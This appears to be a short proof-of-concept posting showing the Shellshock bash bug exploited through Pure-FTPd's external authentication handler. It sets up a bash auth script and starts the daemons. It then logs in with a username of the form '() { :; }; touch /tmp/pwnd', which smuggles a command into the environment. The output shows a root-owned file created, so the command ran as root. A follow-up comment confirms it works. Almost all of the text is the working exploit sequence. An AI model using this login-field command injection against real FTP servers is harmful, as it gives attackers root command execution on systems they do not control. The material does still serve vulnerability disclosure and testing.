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Pure-FTPd + external authentication handler #shellshock POC
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| $ cat > /tmp/handler.sh | |
| #! /bin/bash | |
| echo auth_ok:1 | |
| echo uid:42 | |
| echo gid:21 | |
| echo dir:/tmp | |
| echo end | |
| ^D | |
| $ chmod +x /tmp/handler.sh | |
| # pure-authd -B -s /tmp/ftpd.sock -r /tmp/handler.sh | |
| # pure-ftpd -B -l extauth:/tmp/ftpd.sock | |
| $ ftp 127.0.0.1 | |
| Name: () { :; }; touch /tmp/pwnd | |
| Password: whatever | |
| ^C | |
| $ ls -l /tmp/pwnd | |
| -rw------- 1 root wheel 0 Sep 27 15:28 /tmp/pwnd |
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Confirmed this myself. It's legit.